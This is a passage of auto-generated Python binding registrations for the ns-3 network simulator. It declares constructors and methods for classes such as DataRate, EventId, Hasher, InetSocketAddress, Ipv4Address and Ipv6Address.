[param('uint32_t', 'n')],
is_static=True)
## channel-list.h (module 'network'): static uint32_t ns3::ChannelList::GetNChannels() [member function]
cls.add_method('GetNChannels',
'uint32_t',
[],
is_static=True)
return
def register_Ns3DataOutputCallback_methods(root_module, cls):
## data-output-interface.h (module 'stats'): ns3::DataOutputCallback::DataOutputCallback() [constructor]
cls.add_constructor([])
## data-output-interface.h (module 'stats'): ns3::DataOutputCallback::DataOutputCallback(ns3::DataOutputCallback const & arg0) [copy constructor]
cls.add_constructor([param('ns3::DataOutputCallback const &', 'arg0')])
## data-output-interface.h (module 'stats'): void ns3::DataOutputCallback::OutputSingleton(std::string key, std::string variable, int val) [member function]
cls.add_method('OutputSingleton',
'void',
[param('std::string', 'key'), param('std::string', 'variable'), param('int', 'val')],
is_pure_virtual=True, is_virtual=True)
## data-output-interface.h (module 'stats'): void ns3::DataOutputCallback::OutputSingleton(std::string key, std::string variable, uint32_t val) [member function]
cls.add_method('OutputSingleton',
'void',
[param('std::string', 'key'), param('std::string', 'variable'), param('uint32_t', 'val')],
is_pure_virtual=True, is_virtual=True)
## data-output-interface.h (module 'stats'): void ns3::DataOutputCallback::OutputSingleton(std::string key, std::string variable, double val) [member function]
cls.add_method('OutputSingleton',
'void',
[param('std::string', 'key'), param('std::string', 'variable'), param('double', 'val')],
is_pure_virtual=True, is_virtual=True)
## data-output-interface.h (module 'stats'): void ns3::DataOutputCallback::OutputSingleton(std::string key, std::string variable, std::string val) [member function]
cls.add_method('OutputSingleton',
'void',
[param('std::string', 'key'), param('std::string', 'variable'), param('std::string', 'val')],
is_pure_virtual=True, is_virtual=True)
## data-output-interface.h (module 'stats'): void ns3::DataOutputCallback::OutputSingleton(std::string key, std::string variable, ns3::Time val) [member function]
cls.add_method('OutputSingleton',
'void',
[param('std::string', 'key'), param('std::string', 'variable'), param('ns3::Time', 'val')],
is_pure_virtual=True, is_virtual=True)
## data-output-interface.h (module 'stats'): void ns3::DataOutputCallback::OutputStatistic(std::string key, std::string variable, ns3::StatisticalSummary const * statSum) [member function]
cls.add_method('OutputStatistic',
'void',
[param('std::string', 'key'), param('std::string', 'variable'), param('ns3::StatisticalSummary const *', 'statSum')],
is_pure_virtual=True, is_virtual=True)
return
def register_Ns3DataRate_methods(root_module, cls):
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('!=')
cls.add_binary_comparison_operator('<')
cls.add_binary_comparison_operator('<=')
cls.add_binary_comparison_operator('==')
cls.add_binary_comparison_operator('>')
cls.add_binary_comparison_operator('>=')
## data-rate.h (module 'network'): ns3::DataRate::DataRate(ns3::DataRate const & arg0) [copy constructor]
cls.add_constructor([param('ns3::DataRate const &', 'arg0')])
## data-rate.h (module 'network'): ns3::DataRate::DataRate() [constructor]
cls.add_constructor([])
## data-rate.h (module 'network'): ns3::DataRate::DataRate(uint64_t bps) [constructor]
cls.add_constructor([param('uint64_t', 'bps')])
## data-rate.h (module 'network'): ns3::DataRate::DataRate(std::string rate) [constructor]
cls.add_constructor([param('std::string', 'rate')])
## data-rate.h (module 'network'): ns3::Time ns3::DataRate::CalculateBitsTxTime(uint32_t bits) const [member function]
cls.add_method('CalculateBitsTxTime',
'ns3::Time',
[param('uint32_t', 'bits')],
is_const=True)
## data-rate.h (module 'network'): ns3::Time ns3::DataRate::CalculateBytesTxTime(uint32_t bytes) const [member function]
cls.add_method('CalculateBytesTxTime',
'ns3::Time',
[param('uint32_t', 'bytes')],
is_const=True)
## data-rate.h (module 'network'): double ns3::DataRate::CalculateTxTime(uint32_t bytes) const [member function]
cls.add_method('CalculateTxTime',
'double',
[param('uint32_t', 'bytes')],
deprecated=True, is_const=True)
## data-rate.h (module 'network'): uint64_t ns3::DataRate::GetBitRate() const [member function]
cls.add_method('GetBitRate',
'uint64_t',
[],
is_const=True)
return
def register_Ns3DelayJitterEstimation_methods(root_module, cls):
## delay-jitter-estimation.h (module 'network'): ns3::DelayJitterEstimation::DelayJitterEstimation(ns3::DelayJitterEstimation const & arg0) [copy constructor]
cls.add_constructor([param('ns3::DelayJitterEstimation const &', 'arg0')])
## delay-jitter-estimation.h (module 'network'): ns3::DelayJitterEstimation::DelayJitterEstimation() [constructor]
cls.add_constructor([])
## delay-jitter-estimation.h (module 'network'): ns3::Time ns3::DelayJitterEstimation::GetLastDelay() const [member function]
cls.add_method('GetLastDelay',
'ns3::Time',
[],
is_const=True)
## delay-jitter-estimation.h (module 'network'): uint64_t ns3::DelayJitterEstimation::GetLastJitter() const [member function]
cls.add_method('GetLastJitter',
'uint64_t',
[],
is_const=True)
## delay-jitter-estimation.h (module 'network'): static void ns3::DelayJitterEstimation::PrepareTx(ns3::Ptr<ns3::Packet const> packet) [member function]
cls.add_method('PrepareTx',
'void',
[param('ns3::Ptr< ns3::Packet const >', 'packet')],
is_static=True)
## delay-jitter-estimation.h (module 'network'): void ns3::DelayJitterEstimation::RecordRx(ns3::Ptr<ns3::Packet const> packet) [member function]
cls.add_method('RecordRx',
'void',
[param('ns3::Ptr< ns3::Packet const >', 'packet')])
return
def register_Ns3EventId_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_binary_comparison_operator('==')
## event-id.h (module 'core'): ns3::EventId::EventId(ns3::EventId const & arg0) [copy constructor]
cls.add_constructor([param('ns3::EventId const &', 'arg0')])
## event-id.h (module 'core'): ns3::EventId::EventId() [constructor]
cls.add_constructor([])
## event-id.h (module 'core'): ns3::EventId::EventId(ns3::Ptr<ns3::EventImpl> const & impl, uint64_t ts, uint32_t context, uint32_t uid) [constructor]
cls.add_constructor([param('ns3::Ptr< ns3::EventImpl > const &', 'impl'), param('uint64_t', 'ts'), param('uint32_t', 'context'), param('uint32_t', 'uid')])
## event-id.h (module 'core'): void ns3::EventId::Cancel() [member function]
cls.add_method('Cancel',
'void',
[])
## event-id.h (module 'core'): uint32_t ns3::EventId::GetContext() const [member function]
cls.add_method('GetContext',
'uint32_t',
[],
is_const=True)
## event-id.h (module 'core'): uint64_t ns3::EventId::GetTs() const [member function]
cls.add_method('GetTs',
'uint64_t',
[],
is_const=True)
## event-id.h (module 'core'): uint32_t ns3::EventId::GetUid() const [member function]
cls.add_method('GetUid',
'uint32_t',
[],
is_const=True)
## event-id.h (module 'core'): bool ns3::EventId::IsExpired() const [member function]
cls.add_method('IsExpired',
'bool',
[],
is_const=True)
## event-id.h (module 'core'): bool ns3::EventId::IsRunning() const [member function]
cls.add_method('IsRunning',
'bool',
[],
is_const=True)
## event-id.h (module 'core'): ns3::EventImpl * ns3::EventId::PeekEventImpl() const [member function]
cls.add_method('PeekEventImpl',
'ns3::EventImpl *',
[],
is_const=True)
return
def register_Ns3Hasher_methods(root_module, cls):
## hash.h (module 'core'): ns3::Hasher::Hasher(ns3::Hasher const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Hasher const &', 'arg0')])
## hash.h (module 'core'): ns3::Hasher::Hasher() [constructor]
cls.add_constructor([])
## hash.h (module 'core'): ns3::Hasher::Hasher(ns3::Ptr<ns3::Hash::Implementation> hp) [constructor]
cls.add_constructor([param('ns3::Ptr< ns3::Hash::Implementation >', 'hp')])
## hash.h (module 'core'): uint32_t ns3::Hasher::GetHash32(char const * buffer, size_t const size) [member function]
cls.add_method('GetHash32',
'uint32_t',
[param('char const *', 'buffer'), param('size_t const', 'size')])
## hash.h (module 'core'): uint32_t ns3::Hasher::GetHash32(std::string const s) [member function]
cls.add_method('GetHash32',
'uint32_t',
[param('std::string const', 's')])
## hash.h (module 'core'): uint64_t ns3::Hasher::GetHash64(char const * buffer, size_t const size) [member function]
cls.add_method('GetHash64',
'uint64_t',
[param('char const *', 'buffer'), param('size_t const', 'size')])
## hash.h (module 'core'): uint64_t ns3::Hasher::GetHash64(std::string const s) [member function]
cls.add_method('GetHash64',
'uint64_t',
[param('std::string const', 's')])
## hash.h (module 'core'): ns3::Hasher & ns3::Hasher::clear() [member function]
cls.add_method('clear',
'ns3::Hasher &',
[])
return
def register_Ns3Inet6SocketAddress_methods(root_module, cls):
## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(ns3::Inet6SocketAddress const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Inet6SocketAddress const &', 'arg0')])
## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(ns3::Ipv6Address ipv6, uint16_t port) [constructor]
cls.add_constructor([param('ns3::Ipv6Address', 'ipv6'), param('uint16_t', 'port')])
## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(ns3::Ipv6Address ipv6) [constructor]
cls.add_constructor([param('ns3::Ipv6Address', 'ipv6')])
## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(uint16_t port) [constructor]
cls.add_constructor([param('uint16_t', 'port')])
## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(char const * ipv6, uint16_t port) [constructor]
cls.add_constructor([param('char const *', 'ipv6'), param('uint16_t', 'port')])
## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress::Inet6SocketAddress(char const * ipv6) [constructor]
cls.add_constructor([param('char const *', 'ipv6')])
## inet6-socket-address.h (module 'network'): static ns3::Inet6SocketAddress ns3::Inet6SocketAddress::ConvertFrom(ns3::Address const & addr) [member function]
cls.add_method('ConvertFrom',
'ns3::Inet6SocketAddress',
[param('ns3::Address const &', 'addr')],
is_static=True)
## inet6-socket-address.h (module 'network'): ns3::Ipv6Address ns3::Inet6SocketAddress::GetIpv6() const [member function]
cls.add_method('GetIpv6',
'ns3::Ipv6Address',
[],
is_const=True)
## inet6-socket-address.h (module 'network'): uint16_t ns3::Inet6SocketAddress::GetPort() const [member function]
cls.add_method('GetPort',
'uint16_t',
[],
is_const=True)
## inet6-socket-address.h (module 'network'): static bool ns3::Inet6SocketAddress::IsMatchingType(ns3::Address const & addr) [member function]
cls.add_method('IsMatchingType',
'bool',
[param('ns3::Address const &', 'addr')],
is_static=True)
## inet6-socket-address.h (module 'network'): void ns3::Inet6SocketAddress::SetIpv6(ns3::Ipv6Address ipv6) [member function]
cls.add_method('SetIpv6',
'void',
[param('ns3::Ipv6Address', 'ipv6')])
## inet6-socket-address.h (module 'network'): void ns3::Inet6SocketAddress::SetPort(uint16_t port) [member function]
cls.add_method('SetPort',
'void',
[param('uint16_t', 'port')])
return
def register_Ns3InetSocketAddress_methods(root_module, cls):
## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(ns3::InetSocketAddress const & arg0) [copy constructor]
cls.add_constructor([param('ns3::InetSocketAddress const &', 'arg0')])
## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(ns3::Ipv4Address ipv4, uint16_t port) [constructor]
cls.add_constructor([param('ns3::Ipv4Address', 'ipv4'), param('uint16_t', 'port')])
## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(ns3::Ipv4Address ipv4) [constructor]
cls.add_constructor([param('ns3::Ipv4Address', 'ipv4')])
## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(uint16_t port) [constructor]
cls.add_constructor([param('uint16_t', 'port')])
## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(char const * ipv4, uint16_t port) [constructor]
cls.add_constructor([param('char const *', 'ipv4'), param('uint16_t', 'port')])
## inet-socket-address.h (module 'network'): ns3::InetSocketAddress::InetSocketAddress(char const * ipv4) [constructor]
cls.add_constructor([param('char const *', 'ipv4')])
## inet-socket-address.h (module 'network'): static ns3::InetSocketAddress ns3::InetSocketAddress::ConvertFrom(ns3::Address const & address) [member function]
cls.add_method('ConvertFrom',
'ns3::InetSocketAddress',
[param('ns3::Address const &', 'address')],
is_static=True)
## inet-socket-address.h (module 'network'): ns3::Ipv4Address ns3::InetSocketAddress::GetIpv4() const [member function]
cls.add_method('GetIpv4',
'ns3::Ipv4Address',
[],
is_const=True)
## inet-socket-address.h (module 'network'): uint16_t ns3::InetSocketAddress::GetPort() const [member function]
cls.add_method('GetPort',
'uint16_t',
[],
is_const=True)
## inet-socket-address.h (module 'network'): uint8_t ns3::InetSocketAddress::GetTos() const [member function]
cls.add_method('GetTos',
'uint8_t',
[],
is_const=True)
## inet-socket-address.h (module 'network'): static bool ns3::InetSocketAddress::IsMatchingType(ns3::Address const & address) [member function]
cls.add_method('IsMatchingType',
'bool',
[param('ns3::Address const &', 'address')],
is_static=True)
## inet-socket-address.h (module 'network'): void ns3::InetSocketAddress::SetIpv4(ns3::Ipv4Address address) [member function]
cls.add_method('SetIpv4',
'void',
[param('ns3::Ipv4Address', 'address')])
## inet-socket-address.h (module 'network'): void ns3::InetSocketAddress::SetPort(uint16_t port) [member function]
cls.add_method('SetPort',
'void',
[param('uint16_t', 'port')])
## inet-socket-address.h (module 'network'): void ns3::InetSocketAddress::SetTos(uint8_t tos) [member function]
cls.add_method('SetTos',
'void',
[param('uint8_t', 'tos')])
return
def register_Ns3Ipv4Address_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_binary_comparison_operator('<')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address(ns3::Ipv4Address const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4Address const &', 'arg0')])
## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address() [constructor]
cls.add_constructor([])
## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address(uint32_t address) [constructor]
cls.add_constructor([param('uint32_t', 'address')])
## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address(char const * address) [constructor]
cls.add_constructor([param('char const *', 'address')])
## ipv4-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv4Address::CombineMask(ns3::Ipv4Mask const & mask) const [member function]
cls.add_method('CombineMask',
'ns3::Ipv4Address',
[param('ns3::Ipv4Mask const &', 'mask')],
is_const=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::ConvertFrom(ns3::Address const & address) [member function]
cls.add_method('ConvertFrom',
'ns3::Ipv4Address',
[param('ns3::Address const &', 'address')],
is_static=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::Deserialize(uint8_t const * buf) [member function]
cls.add_method('Deserialize',
'ns3::Ipv4Address',
[param('uint8_t const *', 'buf')],
is_static=True)
## ipv4-address.h (module 'network'): uint32_t ns3::Ipv4Address::Get() const [member function]
cls.add_method('Get',
'uint32_t',
[],
is_const=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetAny() [member function]
cls.add_method('GetAny',
'ns3::Ipv4Address',
[],
is_static=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetBroadcast() [member function]
cls.add_method('GetBroadcast',
'ns3::Ipv4Address',
[],
is_static=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetLoopback() [member function]
cls.add_method('GetLoopback',
'ns3::Ipv4Address',
[],
is_static=True)
## ipv4-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv4Address::GetSubnetDirectedBroadcast(ns3::Ipv4Mask const & mask) const [member function]
cls.add_method('GetSubnetDirectedBroadcast',
'ns3::Ipv4Address',
[param('ns3::Ipv4Mask const &', 'mask')],
is_const=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetZero() [member function]
cls.add_method('GetZero',
'ns3::Ipv4Address',
[],
is_static=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsAny() const [member function]
cls.add_method('IsAny',
'bool',
[],
is_const=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsBroadcast() const [member function]
cls.add_method('IsBroadcast',
'bool',
[],
is_const=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsEqual(ns3::Ipv4Address const & other) const [member function]
cls.add_method('IsEqual',
'bool',
[param('ns3::Ipv4Address const &', 'other')],
is_const=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsLocalMulticast() const [member function]
cls.add_method('IsLocalMulticast',
'bool',
[],
is_const=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsLocalhost() const [member function]
cls.add_method('IsLocalhost',
'bool',
[],
is_const=True)
## ipv4-address.h (module 'network'): static bool ns3::Ipv4Address::IsMatchingType(ns3::Address const & address) [member function]
cls.add_method('IsMatchingType',
'bool',
[param('ns3::Address const &', 'address')],
is_static=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsMulticast() const [member function]
cls.add_method('IsMulticast',
'bool',
[],
is_const=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsSubnetDirectedBroadcast(ns3::Ipv4Mask const & mask) const [member function]
cls.add_method('IsSubnetDirectedBroadcast',
'bool',
[param('ns3::Ipv4Mask const &', 'mask')],
is_const=True)
## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Serialize(uint8_t * buf) const [member function]
cls.add_method('Serialize',
'void',
[param('uint8_t *', 'buf')],
is_const=True)
## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Set(uint32_t address) [member function]
cls.add_method('Set',
'void',
[param('uint32_t', 'address')])
## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Set(char const * address) [member function]
cls.add_method('Set',
'void',
[param('char const *', 'address')])
return
def register_Ns3Ipv4Mask_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask(ns3::Ipv4Mask const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4Mask const &', 'arg0')])
## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask() [constructor]
cls.add_constructor([])
## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask(uint32_t mask) [constructor]
cls.add_constructor([param('uint32_t', 'mask')])
## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask(char const * mask) [constructor]
cls.add_constructor([param('char const *', 'mask')])
## ipv4-address.h (module 'network'): uint32_t ns3::Ipv4Mask::Get() const [member function]
cls.add_method('Get',
'uint32_t',
[],
is_const=True)
## ipv4-address.h (module 'network'): uint32_t ns3::Ipv4Mask::GetInverse() const [member function]
cls.add_method('GetInverse',
'uint32_t',
[],
is_const=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Mask ns3::Ipv4Mask::GetLoopback() [member function]
cls.add_method('GetLoopback',
'ns3::Ipv4Mask',
[],
is_static=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Mask ns3::Ipv4Mask::GetOnes() [member function]
cls.add_method('GetOnes',
'ns3::Ipv4Mask',
[],
is_static=True)
## ipv4-address.h (module 'network'): uint16_t ns3::Ipv4Mask::GetPrefixLength() const [member function]
cls.add_method('GetPrefixLength',
'uint16_t',
[],
is_const=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Mask ns3::Ipv4Mask::GetZero() [member function]
cls.add_method('GetZero',
'ns3::Ipv4Mask',
[],
is_static=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4Mask::IsEqual(ns3::Ipv4Mask other) const [member function]
cls.add_method('IsEqual',
'bool',
[param('ns3::Ipv4Mask', 'other')],
is_const=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4Mask::IsMatch(ns3::Ipv4Address a, ns3::Ipv4Address b) const [member function]
cls.add_method('IsMatch',
'bool',
[param('ns3::Ipv4Address', 'a'), param('ns3::Ipv4Address', 'b')],
is_const=True)
## ipv4-address.h (module 'network'): void ns3::Ipv4Mask::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## ipv4-address.h (module 'network'): void ns3::Ipv4Mask::Set(uint32_t mask) [member function]
cls.add_method('Set',
'void',
[param('uint32_t', 'mask')])
return
def register_Ns3Ipv6Address_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_binary_comparison_operator('<')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address() [constructor]
cls.add_constructor([])
## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(char const * address) [constructor]
cls.add_constructor([param('char const *', 'address')])
## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(uint8_t * address) [constructor]
cls.add_constructor([param('uint8_t *', 'address')])
## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(ns3::Ipv6Address const & addr) [copy constructor]
cls.add_constructor([param('ns3::Ipv6Address const &', 'addr')])
## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(ns3::Ipv6Address const * addr) [constructor]
cls.add_constructor([param('ns3::Ipv6Address const *', 'addr')])
## ipv6-address.h (module 'network'): ns3::Ipv6Address ns3::Ipv6Address::CombinePrefix(ns3::Ipv6Prefix const & prefix) [member function]
cls.add_method('CombinePrefix',
'ns3::Ipv6Address',
[param('ns3::Ipv6Prefix const &', 'prefix')])
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::ConvertFrom(ns3::Address const & address) [member function]
cls.add_method('ConvertFrom',
'ns3::Ipv6Address',
[param('ns3::Address const &', 'address')],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::Deserialize(uint8_t const * buf) [member function]
cls.add_method('Deserialize',
'ns3::Ipv6Address',
[param('uint8_t const *', 'buf')],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAllHostsMulticast() [member function]
cls.add_method('GetAllHostsMulticast',
'ns3::Ipv6Address',
[],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAllNodesMulticast() [member function]
cls.add_method('GetAllNodesMulticast',
'ns3::Ipv6Address',
[],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAllRoutersMulticast() [member function]
cls.add_method('GetAllRoutersMulticast',
'ns3::Ipv6Address',
[],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAny() [member function]
cls.add_method('GetAny',
'ns3::Ipv6Address',
[],
is_static=True)
## ipv6-address.h (module 'network'): void ns3::Ipv6Address::GetBytes(uint8_t * buf) const [member function]
cls.add_method('GetBytes',
'void',
[param('uint8_t *', 'buf')],
is_const=True)
## ipv6-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv6Address::GetIpv4MappedAddress() const [member function]
cls.add_method('GetIpv4MappedAddress',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetLoopback() [member function]
cls.add_method('GetLoopback',
'ns3::Ipv6Address',
[],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetOnes() [member function]
cls.add_method('GetOnes',
'ns3::Ipv6Address',
[],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetZero() [member function]
cls.add_method('GetZero',
'ns3::Ipv6Address',
[],
is_static=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAllHostsMulticast() const [member function]
cls.add_method('IsAllHostsMulticast',
'bool',
[],
deprecated=True, is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAllNodesMulticast() const [member function]
cls.add_method('IsAllNodesMulticast',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAllRoutersMulticast() const [member function]
cls.add_method('IsAllRoutersMulticast',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAny() const [member function]
cls.add_method('IsAny',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsDocumentation() const [member function]
cls.add_method('IsDocumentation',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsEqual(ns3::Ipv6Address const & other) const [member function]
cls.add_method('IsEqual',
'bool',
[param('ns3::Ipv6Address const &', 'other')],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsIpv4MappedAddress() const [member function]
cls.add_method('IsIpv4MappedAddress',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsLinkLocal() const [member function]
cls.add_method('IsLinkLocal',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsLinkLocalMulticast() const [member function]
cls.add_method('IsLinkLocalMulticast',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsLocalhost() const [member function]
cls.add_method('IsLocalhost',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): static bool ns3::Ipv6Address::IsMatchingType(ns3::Address const & address) [member function]
cls.add_method('IsMatchingType',
'bool',
[param('ns3::Address const &', 'address')],
is_static=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsMulticast() const [member function]
cls.add_method('IsMulticast',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsSolicitedMulticast() const [member function]
cls.add_method('IsSolicitedMulticast',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredAddress(ns3::Mac16Address addr, ns3::Ipv6Address prefix) [member function]
cls.add_method('MakeAutoconfiguredAddress',
'ns3::Ipv6Address',
[param('ns3::Mac16Address', 'addr'), param('ns3::Ipv6Address', 'prefix')],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredAddress(ns3::Mac48Address addr, ns3::Ipv6Address prefix) [member function]
cls.add_method('MakeAutoconfiguredAddress',
'ns3::Ipv6Address',
[param('ns3::Mac48Address', 'addr'), param('ns3::Ipv6Address', 'prefix')],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredAddress(ns3::Mac64Address addr, ns3::Ipv6Address prefix) [member function]
cls.add_method('MakeAutoconfiguredAddress',
'ns3::Ipv6Address',
[param('ns3::Mac64Address', 'addr'), param('ns3::Ipv6Address', 'prefix')],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredLinkLocalAddress(ns3::Mac16Address mac) [member function]
cls.add_method('MakeAutoconfiguredLinkLocalAddress',
'ns3::Ipv6Address',
[param('ns3::Mac16Address', 'mac')],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredLinkLocalAddress(ns3::Mac48Address mac) [member function]
cls.add_method('MakeAutoconfiguredLinkLocalAddress',
'ns3::Ipv6Address',
[param('ns3::Mac48Address', 'mac')],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredLinkLocalAddress(ns3::Mac64Address mac) [member function]
cls.add_method('MakeAutoconfiguredLinkLocalAddress',
'ns3::Ipv6Address',
[param('ns3::Mac64Address', 'mac')],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeIpv4MappedAddress(ns3::Ipv4Address addr) [member function]
cls.add_method('MakeIpv4MappedAddress',
'ns3::Ipv6Address',
[param('ns3::Ipv4Address', 'addr')],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeSolicitedAddress(ns3::Ipv6Address addr) [member function]
cls.add_method('MakeSolicitedAddress',
'ns3::Ipv6Address',
[param('ns3::Ipv6Address', 'addr')],
is_static=True)
## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Serialize(uint8_t * buf) const [member function]
cls.add_method('Serialize',
'void',
[param('uint8_t *', 'buf')],
is_const=True)
## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Set(char const * address) [member function]
cls.add_method('Set',
'void',
[param('char const *', 'address')])
## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Set(uint8_t * address) [member function]
cls.add_method('Set',
'void',
[param('uint8_t *', 'address')])
return
def register_Ns3Ipv6Prefix_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix() [constructor]
cls.add_constructor([])
## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(uint8_t * prefix) [constructor]
cls.add_constructor([param('uint8_t *', 'prefix')])
## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(char const * prefix) [constructor]
cls.add_constructor([param('char const *', 'prefix')])
## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(uint8_t prefix) [constructor]
cls.add_constructor([param('uint8_t', 'prefix')])
## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(ns3::Ipv6Prefix const & prefix) [copy constructor]
cls.add_constructor([param('ns3::Ipv6Prefix const &', 'prefix')])
